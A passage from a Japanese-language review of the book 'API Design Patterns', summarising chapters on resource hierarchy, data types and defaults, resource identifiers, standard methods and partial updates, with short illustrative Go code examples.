relationships to one another. より引用リソースレイアウトの重要性著者は、APIデザインにおいてリソースに焦点を当てることの重要性から議論を始めています。これは、RESTful APIの設計原則と密接に関連しており、アクションよりもリソースを中心に考えることで、API全体の一貫性と理解しやすさが向上することを強調しています。この考え方は、マイクロサービスアーキテクチャやクラウドネイティブ開発において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが扱うリソースとその関係性を明確に定義することで、システム全体の複雑性を管理しやすくなります。著者が提示するリソースレイアウトの概念は、単にデータベーススキーマを設計するのとは異なります。APIのリソースレイアウトは、クライアントとサーバー間の契約であり、システムの振る舞いや機能を定義する重要な要素となります。この点で、リソースレイアウトはシステムの外部インターフェースを形作る重要な要素であり、慎重に設計する必要があります。リソース間の関係性著者は、リソース間の関係性を詳細に分類し、それぞれの特性と適用場面について論じています。特に注目すべきは以下の点です。参照関係: 最も基本的な関係性で、あるリソースが他のリソースを参照する形式です。例えば、メッセージリソースが著者ユーザーを参照する場合などが該当します。多対多関係: 複数のリソースが互いに関連する複雑な関係性です。例えば、ユーザーとチャットルームの関係などが挙げられます。自己参照関係: 同じタイプのリソースが互いに参照し合う関係性です。階層構造や社会的なネットワークの表現に適しています。階層関係: 親子関係を表現する特殊な関係性で、所有権や包含関係を示します。これらの関係性の理解と適切な適用は、APIの設計において極めて重要です。特に、マイクロサービスアーキテクチャにおいては、サービス間の境界を定義する際にこれらの関係性を慎重に考慮する必要があります。例えば、Golangを用いてマイクロサービスを実装する場合、これらの関係性を適切に表現することが重要です。以下は、チャットアプリケーションにおけるメッセージとユーザーの関係を表現する簡単な例です。type Message struct { ID string `json:\\"id\\"` Content string `json:\\"content\\"` AuthorID string `json:\\"author_id\\"` Timestamp time.Time `json:\\"timestamp\\"`}type User struct { ID string `json:\\"id\\"` Username string `json:\\"username\\"` Email string `json:\\"email\\"`}type ChatRoom struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` UserIDs []string `json:\\"user_ids\\"`}この例では、MessageがUserを参照する関係性と、ChatRoomとUserの多対多関係を表現しています。エンティティ関係図の活用著者は、エンティティ関係図(ERD)の重要性とその読み方について詳しく説明しています。ERDは、リソース間の関係性を視覚的に表現する強力なツールです。特に、カーディナリティ(一対一、一対多、多対多など)を明確に示すことができる点が重要です。ERDの活用は、APIの設計フェーズだけでなく、ドキュメンテーションや開発者間のコミュニケーションにおいても非常に有効です。特に、マイクロサービスアーキテクチャのような複雑なシステムでは、各サービスが扱うリソースとその関係性を視覚的に理解することが、全体像の把握に役立ちます。適切な関係性の選択著者は、リソース間の適切な関係性を選択する際の考慮点について詳細に論じています。特に重要な点は以下の通りです。関係性の必要性: すべてのリソース間に関係性を持たせる必要はありません。必要最小限の関係性に留めることで、APIの複雑性を抑制できます。インライン化 vs 参照: リソースの情報をインライン化するか、参照として扱うかの選択は、パフォーマンスとデータの一貫性のトレードオフを考慮して決定する必要があります。階層関係の適切な使用: 階層関係は強力ですが、過度に深い階層は避けるべきです。これらの選択は、システムの拡張性と保守性に大きな影響を与えます。例えば、不必要に多くの関係性を持つAPIは、将来的な変更が困難になる可能性があります。一方で、適切に設計された関係性は、システムの理解を容易にし、新機能の追加やスケーリングを円滑に行うことができます。アンチパターンの回避著者は、リソースレイアウトにおける一般的なアンチパターンとその回避方法について説明しています。特に注目すべきアンチパターンは以下の通りです。全てをリソース化する: 小さな概念まですべてをリソース化することは、APIを不必要に複雑にする可能性があります。深すぎる階層: 過度に深い階層構造は、APIの使用と理解を困難にします。全てをインライン化する: データの重複や一貫性の問題を引き起こす可能性があります。これらのアンチパターンを回避することで、より使いやすく、保守性の高いAPIを設計することができます。例えば、深すぎる階層構造を避けることで、APIのエンドポイントがシンプルになり、クライアント側の実装も容易になります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での応用を考えると、以下のような点が重要になります。サービス境界の定義: リソースの関係性を適切に設計することで、マイクロサービス間の境界を明確に定義できます。これは、システムの拡張性と保守性に直接的な影響を与えます。パフォーマンスとスケーラビリティ: インライン化と参照の適切な選択は、システムのパフォーマンスとスケーラビリティに大きく影響します。例えば、頻繁に一緒にアクセスされるデータをインライン化することで、不必要なネットワーク呼び出しを減らすことができます。進化可能性: 適切にリソースと関係性を設計することで、将来的なAPIの拡張や変更が容易になります。これは、長期的なシステム運用において非常に重要です。一貫性と予測可能性: リソースレイアウトの一貫したアプローチは、APIの学習曲線を緩やかにし、開発者の生産性を向上させます。運用の簡素化: 適切に設計されたリソース階層は、アクセス制御やログ分析などの運用タスクを簡素化します。Golangの文脈では、これらの設計原則を反映したAPIの実装が重要になります。例えば、Goの構造体やインターフェースを使用して、リソース間の関係性を明確に表現することができます。また、Goの強力な型システムを活用することで、APIの一貫性と型安全性を確保することができます。結論第4章「Resource scope and hierarchy」は、APIデザインにおけるリソースのスコープと階層構造の重要性を明確に示しています。適切なリソースレイアウトの設計は、APIの使いやすさ、拡張性、保守性に直接的な影響を与えます。特に重要な点は以下の通りです。リソース間の関係性を慎重に設計し、必要最小限の関係性に留めること。インライン化と参照のトレードオフを理解し、適切に選択すること。階層関係を効果的に使用しつつ、過度に深い階層は避けること。一般的なアンチパターンを認識し、回避すること。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、APIの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なリソースレイアウトの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の拡張性、保守性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。5 Data types and defaults「API Design Patterns」の第5章「Data types and defaults」は、APIにおけるデータ型とデフォルト値の重要性、各データ型の特性と使用上の注意点、そしてシリアライゼーションの課題について詳細に論じています。この章を通じて、著者はAPIの設計において適切なデータ型の選択とデフォルト値の扱いが、APIの使いやすさ、信頼性、そして長期的な保守性にどのように影響するかを明確に示しています。データ型の重要性と課題著者は、APIにおけるデータ型の重要性から議論を始めています。特に注目すべきは、プログラミング言語固有のデータ型に依存せず、シリアライゼーションフォーマット(主にJSON)を介して異なる言語間で互換性のあるデータ表現を実現することの重要性です。この問題は根深すぎて一つの解決策として開発言語を揃えるまでしてる組織ある。この概念を視覚的に表現するために、著者は以下の図を提示しています。Figure 5.1 Data moving from API server to client より引用この図は、APIサーバーからクライアントへのデータの流れを示しています。サーバー側でのプログラミング言語固有の表現がシリアライズされ、言語非依存の形式(多くの場合JSON)に変換され、ネットワークを介して送信されます。クライアント側では、このデータがデシリアライズされ、再びクライアントの言語固有の表現に変換されます。この過程は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。異なる言語やフレームワークで実装された複数のサービスが協調して動作する環境では、このようなデータの変換と伝送が頻繁に行われるため、データ型の一貫性と互換性が不可欠です。例えば、あるサービスが64ビット整数を使用し、別のサービスがそれを32ビット整数として解釈してしまうと、深刻なバグや不整合が発生する可能性があります。著者が指摘する「null」値と「missing」値の区別も重要な論点です。これは、オプショナルな値の扱いにおいて特に重要で、APIの設計者はこの違いを明確に意識し、適切に処理する必要があります。例えば、Golangにおいては、以下のように構造体のフィールドをポインタ型にすることで、この区別を表現できます。type User struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` Age *int `json:\\"age,omitempty\\"` IsActive *bool `json:\\"is_active,omitempty\\"`}この設計により、AgeやIsActiveフィールドが省略された場合(missing)と、明示的にnullが設定された場合を区別できます。このような細かい違いに注意を払うことで、APIの柔軟性と表現力を高めることができます。プリミティブデータ型の扱い著者は、ブール値、数値、文字列といったプリミティブデータ型について詳細に論じています。特に注目すべきは、これらのデータ型の適切な使用法と、シリアライゼーション時の注意点です。ブール値に関しては、フィールド名の選択が重要であると指摘しています。例えば、disallowChatbotsよりもallowChatbotsを使用することで、二重否定を避け、APIの理解しやすさを向上させることができます。数値に関しては、大きな整数や浮動小数点数の扱いに注意が必要です。著者は、これらの値を文字列としてシリアライズすることを提案しています。これは特に重要な指摘で、例えばJavaScriptでは64ビット整数を正確に扱えないという問題があります。Golangでこれを実装する場合、以下のようなアプローチが考えられます。type LargeNumber struct { Value string `json:\\"value\\"`}func (ln *LargeNumber) UnmarshalJSON(data []byte) error { var s string if err := json.Unmarshal(data, &s); err != nil { return err } // ここで文字列を適切な数値型に変換 // エラーチェックも行う return nil}文字列に関しては、UTF-8エンコーディングの使用と、正規化形式(特にNFC)の重要性が強調されています。これは特に識別子として使用される文字列に重要で、一貫性のある比較を保証します。コレクションと構造体著者は、リスト(配列)とマップ(オブジェクト)についても詳細に論じています。これらのデータ型は、複雑なデータ構造を表現する上で不可欠ですが、適切に使用しないと問題を引き起こす可能性があります。リストに関しては、要素の型の一貫性と、サイズの制限の重要性が指摘されています。これは、API の安定性とパフォーマンスに直接影響します。例えば、リストのサイズが無制限に大きくなることを許可すると、メモリ使用量の増大やレスポンス時間の遅延につながる可能性があります。マップに関しては、動的なキー・バリューペアの格納に適していますが、スキーマレスな性質ゆえに慎重に使用する必要があります。著者は、マップのキーと値のサイズに制限を設けることを推奨しています。これは、APIの予測可能性と安定性を確保する上で重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での応用を考えると、以下のような点が重要になります。データの一貫性: 異なるサービス間でデータ型の一貫性を保つことは、システム全体の信頼性と保守性に直結します。例えば、全てのサービスで日時をISO 8601形式の文字列として扱うといった統一規則を設けることが有効です。バージョニングとの関係: データ型の変更はしばしばAPIの破壊的変更につながります。適切なバージョニング戦略と組み合わせることで、既存のクライアントへの影響を最小限に抑えつつ、APIを進化させることができます。パフォーマンスとスケーラビリティ: 大きな数値を文字列として扱うことや、コレクションのサイズを制限することは、システムのパフォーマンスとスケーラビリティに直接影響します。これらの決定は、システムの成長に伴う課題を予防する上で重要です。エラーハンドリング: 不適切なデータ型やサイズの入力を適切に処理し、明確なエラーメッセージを返すことは、APIの使いやすさと信頼性を向上させます。ドキュメンテーション: データ型、特に制約(例:文字列の最大長、数値の範囲)を明確にドキュメント化することは、API利用者の理解を助け、誤用を防ぎます。Golangの文脈では、これらの設計原則を反映したAPIの実装が重要になります。例えば、カスタムのUnmarshalJSONメソッドを使用して、文字列として受け取った大きな数値を適切に処理することができます。また、Goの強力な型システムを活用することで、APIの型安全性を高めることができます。type SafeInt64 int64func (si *SafeInt64) UnmarshalJSON(data []byte) error { var s string if err := json.Unmarshal(data, &s); err != nil { return err } i, err := strconv.ParseInt(s, 10, 64) if err != nil { return err } *si = SafeInt64(i) return nil}結論第5章「Data types and defaults」は、APIデザインにおけるデータ型とデフォルト値の重要性を明確に示しています。適切なデータ型の選択と、それらの一貫した使用は、APIの使いやすさ、信頼性、そして長期的な保守性に直接的な影響を与えます。特に重要な点は以下の通りです。プログラミング言語に依存しない、一貫したデータ表現の重要性。null値とmissing値の区別、およびそれらの適切な処理。大きな数値や浮動小数点数の安全な取り扱い。文字列のエンコーディングと正規化の重要性。コレクション(リストとマップ)の適切な使用とサイズ制限。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、APIの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なデータ型の選択は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切なデータ型の選択と一貫した使用は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。Part 3 Fundamentalsこのパートでは、APIの基本的な操作と機能について深く掘り下げています。標準メソッド(GET、POST、PUT、DELETE等)の適切な使用法、部分的な更新と取得、カスタムメソッドの設計、長時間実行操作の扱い方などが説明されています。これらの基本的な要素を適切に設計することで、APIの使いやすさと機能性が大きく向上します。6 Resource identification「API Design Patterns」の第6章「Resource identification」は、APIにおけるリソース識別子の重要性、良い識別子の特性、その実装方法、そしてUUIDとの関係について詳細に論じています。この章を通じて、著者はリソース識別子が単なる技術的な詳細ではなく、APIの使いやすさ、信頼性、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。識別子の重要性と特性著者は、識別子の重要性から議論を始めています。APIにおいて、識別子はリソースを一意に特定するための手段であり、その設計は慎重に行う必要があります。良い識別子の特性として、著者は以下の点を挙げています。使いやすさ一意性永続性生成の速さと容易さ予測不可能性読みやすさ、共有のしやすさ、検証可能性情報密度の高さこれらの特性は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、永続性と一意性は、分散システムにおけるデータの一貫性と整合性を確保する上で不可欠です。また、予測不可能性はセキュリティの観点から重要で、リソースの推測や不正アクセスを防ぐ役割を果たします。著者が提案する識別子の形式は、Crockford\'s Base32エンコーディングを使用したものです。この選択には多くの利点があります。高い情報密度(ASCIIキャラクタあたり5ビット)人間が読みやすく、口頭でも伝えやすい大文字小文字を区別しない柔軟性チェックサム文字による検証可能性これらの特性は、実際の運用環境で非常に有用です。例えば、識別子の読み上げやタイプミスの検出が容易になり、サポートや障害対応の効率が向上します。実装の詳細著者は、識別子の実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。サイズの選択: 著者は、用途に応じて64ビットまたは128ビットの識別子を推奨しています。これは、多くのユースケースで十分な一意性を提供しつつ、効率的なストレージと処理を可能にします。生成方法: 暗号学的に安全な乱数生成器の使用を推奨しています。これは、識別子の予測不可能性と一意性を確保する上で重要です。チェックサムの計算: 識別子の検証を容易にするためのチェックサム文字の追加方法を詳細に説明しています。データベースでの保存: 文字列、バイト列、整数値としての保存方法を比較し、それぞれの利点と欠点を分析しています。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなコードが考えられます。package mainimport ( \\"crypto/rand\\" \\"encoding/base32\\" \\"fmt\\")func GenerateID() (string, error) { bytes := make([]byte, 16) // 128ビットの識別子 _, err := rand.Read(bytes) if err != nil { return \\"\\", err } encoded := base32.StdEncoding.WithPadding(base32.NoPadding).EncodeToString(bytes) checksum := calculateChecksum(bytes) return fmt.Sprintf(\\"%s%c\\", encoded, checksumChar(checksum)), nil}func calculateChecksum(bytes []byte) int { sum := 0 for _, b := range bytes { sum += int(b) } return sum % 32}func checksumChar(checksum int) rune { return rune(\'A\' + checksum)}func main() { id, err := GenerateID() if err != nil { fmt.Printf(\\"Error generating ID: %v\\\\n\\", err) return } fmt.Printf(\\"Generated ID: %s\\\\n\\", id)}このような実装は、安全で効率的な識別子生成を可能にし、システムの信頼性と拡張性を向上させます。識別子の階層と一意性のスコープ著者は、識別子の階層構造と一意性のスコープについても詳細に論じています。これは、リソース間の関係性をどのように表現するかという重要な問題に関わっています。著者は、階層的な識別子(例:books/1234/pages/5678)の使用を、真の「所有権」関係がある場合に限定することを推奨しています。これは、リソースの移動や関係の変更が頻繁に起こる可能性がある場合、識別子の永続性を維持することが困難になるためです。この考え方は、マイクロサービスアーキテクチャにおいて特に重要です。サービス間の境界を明確に定義し、不必要な依存関係を避けるためには、識別子の設計が重要な役割を果たします。例えば、書籍と著者の関係を考えると、authors/1234/books/5678よりもbooks/5678(著者情報は書籍のプロパティとして保持)の方が、サービス間の結合度を低く保つことができます。UUIDとの比較著者は、提案する識別子形式とUUIDを比較しています。UUIDの利点(広く採用されている、衝突の可能性が極めて低いなど)を認めつつ、以下の点で著者の提案する形式が優れていると主張しています。より短く、人間が読みやすい情報密度が高い(Base32 vs Base16)チェックサム機能が組み込まれているこの比較は重要で、システムの要件に応じて適切な識別子形式を選択する必要性を示しています。例えば、高度に分散化されたシステムではUUIDの使用が適している一方、人間の介入が頻繁に必要なシステムでは著者の提案する形式が有用かもしれません。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: 適切な識別子の設計は、システムのスケーラビリティと性能に直接影響します。例えば、128ビットの識別子を使用することで、将来的な成長に対応しつつ、効率的なインデックスの作成が可能になります。セキュリティ: 予測不可能な識別子の使用は、リソースの推測や不正アクセスを防ぐ上で重要です。これは、特に公開APIにおいて重要な考慮事項です。運用性: 人間が読みやすく、検証可能な識別子は、デバッグやトラブルシューティングを容易にします。これは、大規模なシステムの運用において非常に有用です。バージョニングとの関係: 識別子の設計は、APIのバージョニング戦略と密接に関連しています。永続的で一意な識別子は、異なるバージョン間でのリソースの一貫性を維持するのに役立ちます。データベース設計: 識別子の形式と保存方法の選択は、データベースの性能と拡張性に大きな影響を与えます。著者の提案する形式は、多くのデータベースシステムで効率的に扱うことができます。結論第6章「Resource identification」は、APIにおけるリソース識別子の重要性と、その適切な設計の必要性を明確に示しています。著者の提案する識別子形式は、使いやすさ、安全性、効率性のバランスが取れており、多くのユースケースで有用です。特に重要な点は以下の通りです。識別子は単なる技術的詳細ではなく、APIの使いやすさと信頼性に直接影響を与える重要な設計上の決定である。良い識別子は、一意性、永続性、予測不可能性、読みやすさなど、複数の重要な特性を兼ね備えている必要がある。Crockford\'s Base32エンコーディングの使用は、多くの利点をもたらす。識別子の階層構造は慎重に設計する必要があり、真の「所有権」関係がある場合にのみ使用すべきである。UUIDは広く採用されているが、特定のユースケースでは著者の提案する形式の方が適している場合がある。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、リソース識別子の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な識別子の設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切な識別子の設計は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。7 Standard methods「API Design Patterns」の第7章「Standard methods」は、APIにおける標準メソッドの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は標準メソッドが単なる慣習ではなく、APIの一貫性、予測可能性、そして使いやすさを大きく向上させる重要な設計上の決定であることを明確に示しています。標準メソッドの重要性と概要著者は、標準メソッドの重要性から議論を始めています。APIの予測可能性を高めるために、リソースごとに異なる操作を定義するのではなく、一貫した標準メソッドのセットを定義することの利点を強調しています。具体的には、以下の標準メソッドが紹介されています。Get:既存のリソースを取得List:リソースのコレクションをリスト化Create:新しいリソースを作成Update:既存のリソースを更新Delete:既存のリソースを削除Replace:リソース全体を置き換えHTTP には他にもいくつかのメソッドが用意されているWikipedia より引用en.wikipedia.orgこれらの標準メソッドは、RESTful APIの設計原則に基づいており、多くの開発者にとって馴染みのある概念です。しかし、著者はこれらのメソッドの実装に関する詳細な指針を提供することで、単なる慣習を超えた、一貫性のある強力なAPIデザインパターンを提示しています。この標準化されたアプローチは、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、各サービスのインターフェースが一貫していることが、システム全体の理解と保守を容易にします。例えば、全てのサービスで同じ標準メソッドを使用することで、開発者はサービス間の相互作用をより直感的に理解し、新しいサービスの統合や既存のサービスの修正をスムーズに行うことができます。実装の詳細とベストプラクティス著者は、各標準メソッドの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。べき等性とサイドエフェクト: 著者は、標準メソッドのべき等性(同じリクエストを複数回実行しても結果が変わらない性質)とサイドエフェクトの重要性を強調しています。特に、Getやリストのような読み取り専用のメソッドは、完全にべき等であるべきで、システムの状態を変更するサイドエフェクトを持つべきではありません。これは、システムの予測可能性と信頼性を高める上で重要です。一貫性: 著者は、特にCreate操作において強い一貫性を維持することの重要性を指摘しています。リソースが作成されたら、即座に他の標準メソッド(Get、List、Update、Delete)を通じてアクセス可能であるべきです。これは、分散システムにおける課題ですが、APIの信頼性と使いやすさにとって極めて重要です。部分更新 vs 全体置換: UpdateメソッドとReplaceメソッドの違いについて詳細に説明しています。Updateは部分的な更新(HTTP PATCHを使用)を行い、Replaceは全体の置換(HTTP PUTを使用)を行います。この区別は、APIの柔軟性と使いやすさを向上させる上で重要です。べき等性と削除操作: 著者は、Delete操作がべき等であるべきか否かについて興味深い議論を展開しています。最終的に、Deleteはべき等でない方が良いと結論付けていますが、これはAPIの設計者にとって重要な考慮点です。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなインターフェースが考えられます。type ResourceService interface { Get(ctx context.Context, id string) (*Resource, error) List(ctx context.Context, filter string) ([]*Resource, error) Create(ctx context.Context, resource *Resource) (*Resource, error) Update(ctx context.Context, id string, updates map[string]interface{}) (*Resource, error) Replace(ctx context.Context, id string, resource *Resource) (*Resource, error) Delete(ctx context.Context, id string) error}このようなインターフェースは、標準メソッドの一貫した実装を促進し、APIの使いやすさと保守性を向上させます。標準メソッドの適用と課題著者は、標準メソッドの適用に関する重要な考慮点も提示しています。メソッドの選択: 全てのリソースが全ての標準メソッドをサポートする必要はありません。リソースの性質に応じて、適切なメソッドのみを実装すべきです。アクセス制御: 特にListメソッドにおいて、異なるユーザーが異なるアクセス権を持つ場合の挙動について詳細に説明しています。これは、セキュリティと使いやすさのバランスを取る上で重要な考慮点です。結果のカウントとソート: 著者は、Listメソッドでのカウントやソートのサポートを避けることを推奨しています。これは、大規模なデータセットでのパフォーマンスとスケーラビリティの問題を防ぐための重要な指針です。フィルタリング: Listメソッドにおけるフィルタリングの重要性と、その実装方法について説明しています。著者は、固定のフィルタリング構造ではなく、柔軟な文字列ベースのフィルタリングを推奨しています。これらの考慮点は、特に大規模なシステムやマイクロサービスアーキテクチャにおいて重要です。例えば、Listメソッドでのカウントやソートの制限は、システムの水平スケーリング能力を維持する上で重要です。同様に、柔軟なフィルタリングの実装は、APIの長期的な進化と拡張性を確保します。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。一貫性と予測可能性: 標準メソッドを一貫して適用することで、APIの学習曲線が緩やかになり、開発者の生産性が向上します。これは、特に大規模なシステムや多くのマイクロサービスを持つ環境で重要です。パフォーマンスとスケーラビリティ: 著者の推奨事項(例:Listメソッドでのカウントやソートの制限)は、システムのパフォーマンスとスケーラビリティを維持する上で重要です。これらの原則を適用することで、システムの成長に伴う課題を予防できます。バージョニングとの関係: 標準メソッドの一貫した実装は、APIのバージョニング戦略とも密接に関連します。新しいバージョンを導入する際も、これらの標準メソッドの挙動を維持することで、後方互換性を確保しやすくなります。セキュリティの考慮: 標準メソッドの実装において、適切なアクセス制御やエラーハンドリングを行うことは、APIのセキュリティを確保する上で重要です。運用性: 標準メソッドの一貫した実装は、監視、ログ記録、デバッグなどの運用タスクを簡素化します。これにより、問題の迅速な特定と解決が可能になります。結論第7章「Standard methods」は、APIにおける標準メソッドの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの一貫性、予測可能性、使いやすさを大きく向上させる可能性があります。特に重要な点は以下の通りです。標準メソッド(Get、List、Create、Update、Delete、Replace)の一貫した実装は、APIの学習性と使いやすさを大幅に向上させます。べき等性とサイドエフェクトの考慮は、APIの信頼性と予測可能性を確保する上で重要です。強い一貫性の維持、特にCreate操作後の即時アクセス可能性は、APIの信頼性を高めます。標準メソッドの適切な選択と実装は、システムのパフォーマンス、スケーラビリティ、セキュリティに直接影響します。標準メソッドの一貫した実装は、システムの運用性と長期的な保守性を向上させます。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、標準メソッドの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な標準メソッドの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。標準メソッドの適切な実装は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。8 Partial updates and retrievals「API Design Patterns」の第8章「Partial updates and retrievals」は、APIにおける部分的な更新と取得の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は部分的な更新と取得が単なる機能の追加ではなく、APIの柔軟性、効率性、そして長期的な使いやすさに直接影響を与える重要な設計上の決定であることを明確に示しています。部分的な更新と取得の動機著者は、部分的な更新と取得の必要性から議論を始めています。特に、大規模なリソースや制限のあるクライアント環境での重要性を強調しています。例えば、IoTデバイスのような制限された環境では、必要最小限のデータのみを取得することが重要です。また、大規模なリソースの一部のみを更新する必要がある場合、全体を置き換えるのではなく、特定のフィールドのみを更新する能力が重要になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが必要とするデータのみを効率的に取得し、更新することが、システム全体のパフォーマンスとスケーラビリティを向上させます。著者は、部分的な更新と取得を実現するためのツールとしてフィールドマスクの概念を導入しています。フィールドマスクは、クライアントが関心のあるフィールドを指定するための単純かつ強力なメカニズムです。これにより、APIは必要なデータのみを返すか、指定されたフィールドのみを更新することができます。フィールドマスクの実装著者は、フィールドマスクの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。トランスポート: フィールドマスクをどのようにAPIリクエストに含めるかについて議論しています。著者は、クエリパラメータを使用することを推奨しています。これは、HTTPヘッダーよりもアクセスしやすく、操作しやすいためです。ネストされたフィールドとマップの扱い: 著者は、ドット表記を使用してネストされたフィールドやマップのキーを指定する方法を説明しています。これにより、複雑なデータ構造でも柔軟に部分的な更新や取得が可能になります。繰り返しフィールドの扱い: 配列やリストのような繰り返しフィールドに対する操作の制限について議論しています。著者は、インデックスベースの操作を避け、代わりにフィールド全体の置き換えを推奨しています。デフォルト値: 部分的な取得と更新におけるデフォルト値の扱いについて説明しています。特に、更新操作での暗黙的なフィールドマスクの使用を推奨しています。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなコードが考えられます。type FieldMask []stringtype UpdateUserRequest struct { User *User FieldMask FieldMask `json:\\"fieldMask,omitempty\\"`}func UpdateUser(ctx context.Context, req *UpdateUserRequest) (*User, error) { existingUser, err := getUserFromDatabase(req.User.ID) if err != nil { return nil, err } if req.FieldMask == nil { // 暗黙的なフィールドマスクを使用 req.FieldMask = inferFieldMask(req.User) } for _, field := range req.FieldMask { switch field { case \\"name\\": existingUser.Name = req.User.Name case \\"email\\": existingUser.Email = req.User.Email // ... その他のフィールド } } return saveUserToDatabase(existingUser)}func inferFieldMask(user *User) FieldMask { var mask FieldMask if user.Name != \\"\\" { mask = append(mask, \\"name\\") } if user.Email != \\"\\" { mask = append(mask, \\"email\\") } // ... その他のフィールド return mask}このコードでは、フィールドマスクを明示的に指定しない場合、提供されたデータから暗黙的にフィールドマスクを推論しています。これにより、クライアントは必要なフィールドのみを更新でき、不要なデータの送信を避けることができます。部分的な更新と取得の課題著者は、部分的な更新と取得の実装に関する重要な課題についても議論しています。一貫性: 部分的な更新を行う際、リソース全体の一貫性を維持することが重要です。特に、相互に依存するフィールドがある場合、この点に注意が必要です。パフォーマンス: フィールドマスクの解析と適用には計算コストがかかります。大規模なシステムでは、このオーバーヘッドを考慮する必要があります。バージョニング: APIの進化に伴い、新しいフィールドが追加されたり、既存のフィールドが変更されたりする可能性があります。フィールドマスクの設計は、このような変更に対応できる柔軟性を持つ必要があります。セキュリティ: フィールドマスクを通じて、クライアントがアクセスを許可されていないフィールドを更新または取得しようとする可能性があります。適切なアクセス制御が必要です。これらの課題は、特に大規模なシステムや長期的に維持されるAPIにおいて重要です。例えば、マイクロサービスアーキテクチャでは、各サービスが扱うデータの一部のみを更新する必要がある場合がしばしばあります。この時、部分的な更新機能は非常に有用ですが、同時にサービス間のデータ整合性を維持することが重要になります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。効率性とパフォーマンス: 部分的な更新と取得を適切に実装することで、ネットワーク帯域幅の使用を最適化し、システム全体のパフォーマンスを向上させることができます。これは特に、モバイルアプリケーションや帯域幅が制限されている環境で重要です。柔軟性と拡張性: フィールドマスクを使用することで、APIの柔軟性が大幅に向上します。クライアントは必要なデータのみを要求でき、新しいフィールドの追加も既存のクライアントに影響を与えずに行えます。バージョニングとの関係: 部分的な更新と取得は、APIのバージョニング戦略と密接に関連しています。新しいバージョンを導入する際も、フィールドマスクを通じて後方互換性を維持しやすくなります。運用性と可観測性: 部分的な更新と取得を適切に実装することで、システムの運用性が向上します。例えば、特定のフィールドの更新頻度や、どのフィールドが最も頻繁に要求されるかを監視することで、システムの使用パターンをより深く理解し、最適化の機会を見出すことができます。エラーハンドリング: 